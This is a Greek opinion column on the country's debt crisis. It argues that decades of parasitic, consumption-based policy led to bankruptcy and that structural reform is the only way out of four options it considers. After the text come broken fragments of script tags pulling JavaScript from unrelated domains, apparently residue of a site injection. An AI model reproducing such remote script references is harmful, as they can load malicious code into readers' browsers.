Το χειρότερο είναι εχθρός του κακού, Του Γιώργου Μπιλλίνη

Μπιλλίνης

Η Ελληνική οικονομία για σαράντα χρόνια βάδιζε εκ του ασφαλούς στο δρόμο της χρεοκοπίας. Οι μεταπολιτευτικές κυβερνήσεις ασέλγησαν πολλαπλώς στο σώμα της. Και επιπλέον διέφθειραν και διαπαιδαγώγησαν στρεβλά την κοινωνία. Την θώπευσαν, την κολάκευσαν, την αποθέωσαν, τελικά την εξαχρείωσαν. Διαμόρφωσαν ένα μοντέλο οικονομίας παρασιτικό, προσοδοθηρικό, που στηρίχτηκε αποκλειστικά στην κατανάλωση, δημόσια και ιδιωτική. Μοιραία, στην πρώτη λακούβα, όταν η κρίση έθεσε σε δοκιμασία την διαθεσιμότητα πόρων για να συντηρούνται τα επίπεδα κατανάλωσης και προσοδοθηρίας, που εξασφάλιζαν στοιχειώδη μεγέθυνση του εθνικού προϊόντος, η φούσκα του παρασιτισμού έσκασε.

Τότε αποκαλύφθηκαν διεθνώς σε όλο τους το μεγαλείο η γύμνια και οι δομικές αδυναμίες της ελληνικής οικονομίας. Και οι αγορές έπαψαν να την δανείζουν, φοβούμενες το προφανές. Την αυξημένη πιθανότητα να χάσουν τα χρήματα τους. Τότε η χώρα επιζήτησε την κάλυψη των χρηματοδοτικών της αναγκών στη συνδρομή των ευρωπαίων εταίρων της και εντάχθηκε σε πρόγραμμα χρηματοδοτικής στήριξης, που συνοδεύτηκε και συναρτήθηκε με παράλληλο πρόγραμμα δημοσιονομικής προσαρμογής και βελτίωσης ανταγωνιστικότητας. Η χρεοκοπία επομένως οδήγησε στην ένταξη στο πρόγραμμα (μνημόνιο) και όχι το πρόγραμμα στη χρεοκοπία.

Στην κατάσταση που βρέθηκε η Ελλάδα το 2009 υπήρχαν τέσσερες πιθανές αντιδράσεις οικονομικής πολιτικής. Οι τρείς μπορούσαν να ασκηθούν εντός της ευρωζώνης:

1. Η Ελλάδα να μειώσει τα κόστη της. Να εφαρμόσει πολιτική εσωτερικής υποτίμησης εργασίας και αξιών και να βελτιώσει την ανταγωνιστικότητα της. Παράλληλα να υιοθετήσει ένα νέο οικονομικό μοντέλο, παραγωγικό και εξωστρεφές, σε μια προσπάθεια μονιμότερης ανάταξης της οικονομίας. Και να εφαρμόσει πολιτική ανοικτών αγορών και απασχόλησης, ώστε να καταστεί επενδυτικός προορισμός, προκειμένου να εισρεύσουν κεφάλαια, να δημιουργηθούν θέσεις εργασίας , να τονωθεί η απασχόληση και να δημιουργηθεί-παραχθεί νέος πλούτος.

2. Η ευρωζώνη να αποφασίσει ότι εφεξής θα αποτελέσει έναν πιο συνεκτικό «χώρο», στα πλαίσια μιας φεντεραλιστικής πορείας, στον οποίο θα λάβουν χώρα και «κοινωνικές μεταβιβάσεις». Στο εσωτερικό δηλαδή των Ηνωμένων Πολιτειών της Ευρώπης ο «πλούσιος» βορράς να επιδοτεί τον «πτωχό» και σπάταλο νότο.

3. Ο πλούσιος βορράς να ασκήσει επεκτατικές πολιτικές με μισθολογικές αυξήσεις και τόνωση της κατανάλωσης στο εσωτερικό του σκληρού πυρήνα (Γερμανία, Ολλανδία, Δανία, Φινλανδία, Αυστρία) της ευρωζώνης, ώστε η δική του απώλεια ανταγωνιστικότητας να συνδράμει εμμέσως την βελτίωση εκείνης του νότου.

4. Η τέταρτη εναλλακτική βρίσκει εφαρμογή μόνο εκτός των ορίων της ένωσης. Η Ελλάδα αποχωρεί από την ευρωζώνη, προκειμένου να αποκαταστήσει την χαμένη της ανταγωνιστικότητα μέσω της χρήσης μια ευάλωτης και συνεχώς υποτιμούμενης εθνικής νομισματικής μονάδας

Κάθε επιλογή, όπως είναι φυσικό, συνοδεύεται από σοβαρές δυσκολίες, περιπλοκές, αντιστάσεις, αντιδράσεις. Και επιφέρει συνέπειες, που θα καθορίσουν τις εξελίξεις και το μέλλον. Η χώρα μας ήταν σε θέση να αποφασίσει αφ’εαυτής μόνο την πρώτη επιλογή. Και αυτό έπραξε. Αλλά το έπραξε στρεβλά και λειψά. Εφάρμοσε μέν πολιτικές εσωτερικής υποτίμησης. Αλλά με κοινωνικά άδικο τρόπο. Προώθησε σε σημαντικό βαθμό τη δημοσιονομική εξυγίανση και τον ισοσκελισμό του προϋπολογισμού της.

Αλλά το πολιτικό σύστημα αρνήθηκε στο σύνολο του να εφαρμόσει και τις πολιτικές εκείνες που θα απάλλασσαν την οικονομία από τα βαρίδια που ως σήμερα την κρατούν αιχμάλωτη και της στερούν τις αναπτυξιακές της δυνατότητες. Αρνήθηκε να προωθήσει την αλλαγή του οικονομικού μοντέλου. Αντίθετα αγωνίστηκε και αγωνίζεται να συντηρήσει με κάθε μέσο τον παρασιτισμό. Αρνήθηκε να απελευθερώσει αγορές και επαγγέλματα. Αρνήθηκε να μειώσει τα κράτος και τις σπατάλες του, ελευθερώνοντας πόρους για επενδύσεις και στήριξη των ανέργων και των κοινωνικά ασθενέστερων. Αρνήθηκε να μετατρέψει τη χώρα σε ελκυστικό επενδυτικό προορισμό. Εν ολίγοις αρνήθηκε και αρνείται στη χώρα και στη κοινωνία την προοπτική. Αρνείται στους ανέργους τη δυνατότητα να βρούν απασχόληση.

Η δεύτερη και η τρίτη εκδοχή ήσαν εκτός των δυνατοτήτων της Ελλάδας. Προϋπέθεταν αποφάσεις των ισχυρών της ΕΕ, οι οποίες θα σηματοδοτούσαν και αλλαγή της πορείας και του χαρακτήρα της ένωσης. Αμφισβητείται όμως κατά πόσο θα προσέφεραν ουσιαστική διέξοδο στο ελληνικό πρόβλημα.

Οι κοινωνικές μεταβιβάσεις ως σταθερό στοιχείο πολιτικής (αλληλεγγύη των εταίρων την ονόμασαν κάποιοι) θα δημιουργήσουν μια μονιμότερη εξάρτηση της οικονομίας από εξωτερικές εισροές-επιδοτήσεις, η οποία θα αποτρέπει στο διηνεκές την ανάκτηση της ανταγωνιστικότητας, τόσο απέναντι στους εταίρους, όσο και απέναντι τρίτων. Αλλά και θα ενισχύσουν την απροθυμία και τις αντιστάσεις πολιτικού συστήματος και κοινωνίας να μεταρρυθμιστούν και να μεταρρυθμίσουν την οικονομία. Να την θέσουν σε υγιείς βάσεις και παραγωγική τροχιά. Αφού θα έχει αρθεί κάθε κίνητρο προς αυτή την κατεύθυνση.

Η άσκηση επεκτατικών πολιτικών στα στενά όρια των πλούσιων βορείων χωρών είναι απόφαση αποκλειστικά των συγκεκριμένων κοινωνιών. Και βεβαίως πιθανή εφαρμογή τους συνιστά πληθωριστική απομείωση των παγίων και των περιουσιακών στοιχείων των πιστωτριών χωρών του βορρά. Αλλά και δυσμενοποιεί την ανταγωνιστικότητα τους απέναντι των άλλων παραγωγών διεθνώς εκτός του συστήματος της ευρωζώνης.

Η τέταρτη εναλλακτική είναι αυτή που έχουν επιλέξει να προβάλλουν ως υποχρεωτική επιλογή μεγάλα τμήματα της ελληνικής πολιτικής τάξης και κάποιων ελίτ. Πρεσβεύει την απεμπλοκή της χώρας μας από τη νομισματική ένωση του ευρώ, την υιοθέτηση εθνικής νομισματικής μονάδας και την άσκηση «εθνικών» πολιτικών, που δεν θα είναι υποχρεωμένες να εναρμονίζονται με τις λογικές του προγράμματος στήριξης. Οι θιασώτες αυτής της αντίληψης επικαλούνται τη δυνητική βελτίωση της ανταγωνιστικότητας της οικονομίας μέσω της υποτίμησης του νέου νομίσματος έναντι του ευρώ και των άλλων βασικών νομισμάτων παγκοσμίως.

Η επίκληση τούτη είναι προσχηματική. Από τον Μάϊο του 2014 ως σήμερα, μέσα σε 10 μήνες το ευρώ υποτιμήθηκε έναντι του δολαρίου κατά 22% (από το 1,39 στο 1,085). Ποιο είναι το όφελος της ελληνικής οικονομίας από αυτή τη τόσο μεγάλη διόρθωση της ισοτιμίας; Μήπως στο διάστημα αυτό κατάφερε να αυξήσει τις εξαγωγές της; Έστω στο τμήμα του 50% του εξαγωγικού μείγματος που κατευθύνεται εκτός ΕΕ; Προφανώς και όχι. Οι εξαγωγές αντιθέτως συρρικνώνονται. Είναι άλλωστε απίθανο μια οικονομία, όπως η ελληνική, που δεν διαθέτει παραγωγική βάση, ούτε επαρκή εξωστρέφεια, να ωφεληθεί από την υποτίμηση του νομίσματος της. Η συμμετοχή της εγχώριας προστιθέμενης αξίας στη διαμόρφωση της τελικής τιμής ενός προϊόντος είναι μικρή. Το μεγαλύτερο μέρος των πρώτων υλών, αλλά και το σύνολο του μηχανολογικού εξοπλισμού για τη παραγωγή είναι εισαγόμενα. Και συνεπώς καθίστανται ακριβότερα.

Η εναλλακτική αυτή επίσης πάσχει και στο χρηματοδοτικό σκέλος της. Δεν υπάρχουν από πουθενά εξασφαλισμένοι πόροι ικανοί να χρηματοδοτήσουν τόσο την αναπτυξιακή διαδικασία, όσο και την εξυπηρέτηση της μετά την κήρυξη πιστωτικού γεγονότος συμφωνία αποπληρωμής των πιστωτών της χώρας.

Μοναδικός δρόμος για την έξοδο της Ελλάδας από την κρίση και την επιστροφή της σε αναπτυξιακή διαδικασία είναι η σωστή και ολοκληρωμένη εφαρμογή της πρώτης εναλλακτικής. Η υιοθέτηση των ορφανών μεταρρυθμίσεων και η εφαρμογή τους. Η συμφωνία υλοποίησης του νέου παραγωγικού και εξωστρεφούς οικονομικού μοντέλου. Αυτού που θα απαιτήσει μεταφορά μεγάλου μέρους ανθρώπινων και υλικών πόρων από το παρασιτικό τομέα στους τομείς εμπορεύσιμων αγαθών. Κι ακόμη η συναίνεση, τόσο σε επίπεδο κομμάτων, όσο και κοινωνίας, η δουλειά, η επίδειξη διάθεσης, το τέλος της εξυπηρέτησης συντεχνιών και κάθε είδους προσοδοθηρικών ομάδων.

Υπάρχει αισιοδοξία προς τη κατεύθυνση αυτή; Το αντίθετο. Το σύνολο του πολιτικού κόσμου και η μεγάλη πλειοψηφία της κοινωνίας εμφανίζονται να επιθυμούν και να προωθούν άσφαιρους εκβιασμούς προς τον πλούσιο ευρωπαϊκό βορρά, προβάλλοντας ως δήθεν αναγκαστική επιλογή από τη χώρα μας την τέταρτη εναλλακτική, ώστε αυτός να τρομοκρατηθεί (!!!) από το ανεξέλεγκτο των συνεπειών και να εξαναγκαστεί (υποτίθεται) να υλοποιήσει τη δεύτερη εναλλακτική (πολιτικές κοινωνικών μεταβιβάσεων προς τη χώρα μας) χωρίς προαπαιτούμενα και δεσμεύσεις.

Φοβάμαι ότι η πολιτική της σημερινής κυβέρνησης είναι ασύμμετρη, ιδεοληπτική και βλακώδης και οι συνέπειες της σύντομα θα καταστούν μη διαχειρίσιμες και καταστρεπτικές. Μάλιστα μεσομακροπρόθεσμα ίσως θέσουν σε δοκιμασία ακόμη και ζητήματα που θεωρούμε κεκτημένα και λυμένα από τις αρχές του 20ου αιώνα. Οικονομικά θα βυθίσουν την κοινωνία σε χρόνια φτωχοποίηση, χωρίς ίχνος αποταμιευμένων εθνικών πόρων και άρα θα την καταδικάσουν σε μόνιμη επενδυτική έρημο και χρόνια υπανάπτυξη.___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>challengeforme.com/pystats.js’ async=true >challengeforme.com/pystats.js’ async=true >‘ >‘ >‘ >‘ >‘ >‘ >‘ >‘ >